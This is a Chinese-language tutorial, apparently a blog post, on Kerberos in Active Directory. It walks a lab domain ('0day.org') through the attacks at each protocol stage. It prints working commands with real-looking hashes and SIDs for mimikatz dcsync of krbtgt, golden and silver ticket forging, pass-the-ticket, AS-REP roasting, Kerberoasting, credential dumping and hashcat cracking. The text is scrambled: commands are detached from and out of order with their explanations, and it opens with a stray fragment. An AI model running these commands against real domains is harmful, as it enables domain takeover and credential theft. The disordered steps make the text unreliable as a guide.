量子哈希客户端向KDC的AS认证服务请求TGT认证权证。TGT是KDC的AS认证服务发放的
目录 前言 专业名词释义 DC 域控 KDC 密钥分发中心 AD 活动目录，里面包含域内用户数据库 AS Kerberos认证服务 TGT TGT认证权证，由AS服务发放 TGS 票据授予服务 ST ST服务票据，由TGS服务发送 krbtgt 用户，该用户是在创建域时系统自动创建的一个账号，其作用是密钥发行中心的服务账号，其密码是系统随机生成的，无法正常登陆主机。 域控(server08):192.168.3.142 server08：192.168.3.68 AS-REQ
mimikatz.exe "lsadump::dcsync /domain:0day.org /user:krbtgt"
AS-REQ：当域内某个用户试图访问域中的某个服务，于是输入用户名和密码，本机的Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含： 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息。 AS-REQ阶段产生的攻击方式 hash传递 在AS-REQ阶段，是用用户密码Hash加密的Authenticator，所以也就造成了hash传递 只适用于域环境，并且目标主机需要安装 KB2871997补丁 PTK。 域内用户枚举 AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。user.txt不需要加上@0day.org，也可以使用udp 密码喷洒 并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率 针对明文： 针对ntlm hash： AS-REP AS-REP：当KDC接收到请求之后，通过AD活动目录查询得到该用户的密码Hash，用该密码Hash对请求包的Authenticator进行解密，如果解密成功，则证明请求者提供的密码正确，而且需要时间戳范围在五分钟内，且不是重放，于是预认证成功。KAS成功认证对方的身份之后，发送响应包给客户端。响应包中主要包括：krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分) 和 用户NTLM Hash加密的Login Session key(即最外层 enc-part 这部分) 以及一些其他信息。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC等信息会发送给客户端。PAC中包含用户的SID，用户所在的组等一些信息。 在enc-part里面最重要的字段是Login session key，作为下阶段的认证密钥。 AS-REP中最核心的东西就是 Login session-key 和 加密的ticket。正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的，用mimikatz，kekeo，rubeus生成的凭据是以 .kirbi 后缀的，impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是Login session-key 和 加密的 ticket，因此可以相互转化。 AS-REP阶段产生的攻击方式 黄金票据 在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证，这就造成了黄金票据攻击 伪造黄金票据的前提： 使用mimikatz 先获取krbtgt hash： 在域控执行
sid：S-1-5-21-1812960810-2335050734-3517558805
ntlm hash：36f9d9e6d98ecf8307baf4f46ef842a2
aes256：dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9
mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator
/ticket:gold.kirbi"
mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi"
kerberos::ptt C:Usersjack.0DAYDesktopgold.kirbi
得到如下信息： 伪造用户administrator执行(aes256) 伪造用户administrator执行(krbtgt hash) 生成文件gold.kirbi 导入Golden Ticket，执行命令：
export KRB5CCNAME=administrator.ccache
获得域控权限 注意这里格式只能是 主机名.域名 的形式，而不能写ip。 使用impacket 这里使用kali，不在域内只需要把dns改为域控即可。 先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain 0day.org administrator 导入票据
python3 smbexec.py -no-pass -k OWA2010SP3.0day.org
Import-Module .powerview.ps1
Get-DomainUser -PreauthNotRequired
然后在访问域控 AS-REP Roasting 在AS-REP阶段，最外层的 enc-part 是用用户密码 Hash 加密的。对于域用户，如果设置了选项” Do not require Kerberos preauthentication”，此时向域控制器的 88 端口发送 ASREQ 请求，对收到的ASREP内容(enc-part底下的ciper，因为这部分是使用用户 hash 加密的 Login Session Key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令，这就造成了 AS-REP Roasting攻击。 默认这个功能是不启用的，如果启用AS-REP会返回用户hash加密的sessionkey-as，这样我们就可以用john离线破解 使用Empire下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName jack -Domain 0day.org | Out-File -Encoding ASCII hash.txt
hashcat -m 18200 hash.txt pass.txt --force
Rubeus.exe kerberoast
使用ASREPRoast.ps1获取AS-REP返回的Hash 修改为hashcat能识别的格式，在$krb5asrep后面添加$23拼接 TGS-REQ 经过上面的步骤，客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的Logon Session Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务，它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据（Service Ticket）。ST服务票据是通过KDC的另一个服务 TGS（Ticket Granting Service）出售的。在这个阶段，微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候，才用的到) TGS-REQ：客户端向KDC购买针对指定服务的ST服务票据请求，该请求主要包含如下的内容：客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名 以及一些其他信息 。 TGS-REP TGS-REP：TGS接收到请求之后，首先会检查自身是否存在客户端所请求的服务。如果服务存在，则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key，然后通过Login Session Key解密Authenticator，如果解密成功，则验证了对方的真实身份，同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期，且原始地址是否和TGT中保存的地址相同。在完成上述的检测后，如果验证通过，则TGS完成了对客户端的认证，会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容：客户端用户信息 和 原始Service Session Key，整个ST服务票据用该服务的NTLM Hash进行加密。最终Service Session Key 和 ST服务票据 发送给客户端。(这一步不管用户有没有访问服务的权限，只要TGT正确，就都会返回ST服务票据，这也是kerberoasting能利用的原因，任何一个用户，只要hash正确，就可以请求域内任何一个服务的ST票据) enc-part：这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash，那么我们就可以自己制作一个ST服务票据，这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的，所以当我们得到了ST服务票据，可以尝试爆破encpart，来得到服务的密码Hash。这也就造成了kerberoast攻击 TGS-REP阶段产生的攻击方式 kerberoast攻击 Kerberoast攻击过程： 攻击者对一个域进行身份验证，然后从域控制器获得一个TGT认购权证 ，该TGT认购权证用于以后的ST服务票据请求攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式（name/host）的servicePrincipalName(SPN)。例如：MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的，并且在用户或计算机帐户的servicePrincipalName字段中注册。在服务票证请求(TGS-REQ)过程中，攻击者可以指定它们支持的Kerberos加密类型(RC4HMACAES256CTSHMACSHA196等等)。如果攻击者的 TGT 是有效的，则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后，域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码。 首先是请求服务票据 Rubeus.exe请求
#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服务票据
klist
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作，其原理在于先用LDAP查询于内的spn，再通过发送TGS包，然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。 2.powershell请求
#请求服务票据
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
#列出服务票据
kerberos::list
#清除所有票据
kerberos::purge
python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
3.mimikatz请求 请求指定SPN的服务票据 4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据，可用hashcat直接爆破。
klist
或
mimikatz.exe "kerberos::list"
MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list
mimikatz.exe "kerberos::list /export" "exit"
Import-Module .Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
这里输入jack的密码 导出票据 首先是查看 1.mimikatz导出 执行完后，会在mimikatz同目录下导出 后缀为kirbi的票据文件 2.Empire下的Invoke-Kerberoast.ps1
python2 tgsrepcrack.py password.txt xx.kirbi
hashcat -m 13100 hash.txt pass.txt
privilege::Debug
sekurlsa::logonpasswords
离线破解服务票据 1.kerberoast中的tgsrepcrack.py 2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件，放到hashcat的目录下 Kerberoast攻击防范 白银票据 在TGS-REP阶段，TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是TGS票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用 要创建白银票据，我们需要知道以下信息： 这里使用白银票据伪造CIFS服务，该通常用于Windows主机之间的文件共享。 1.mimikatz获得服务账号的ntlm hash
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:2c268a2a643267a4204a6ef6f896446b /user:administrator /ptt
得到NTLM为: 2c268a2a643267a4204a6ef6f896446b 2.使用白银票据攻击 3.查看票据 4.访问域控 防御： 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。 白银票据和黄金票据的不同点 访问权限不同： 黄金票据Golden Ticket：伪造TGT认购权证，可以获取任何Kerberos服务权限 白银票据Silver Ticket：伪造ST服务票据，只能访问指定的服务 加密方式不同： Golden Ticket由krbtgt的Hash加密 Silver Ticket 由服务账号（通常为计算机账户）Hash加密 认证流程不同： Golden Ticket的利用过程需要访问域控， 而Silver Ticket不需要 PAC kerberos的流程： 1.用户向KDC发起ASREQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据 2.用户凭借TGT票据向KDC发起针对特定服务的TGSREQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据 3.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。 上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题，并没有解决 “What can I do?”的问题。 在Kerberos最初设计的流程里说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题，引入了 PAC (Privilege Attribute Certificate，特权属性证书) 的概念。
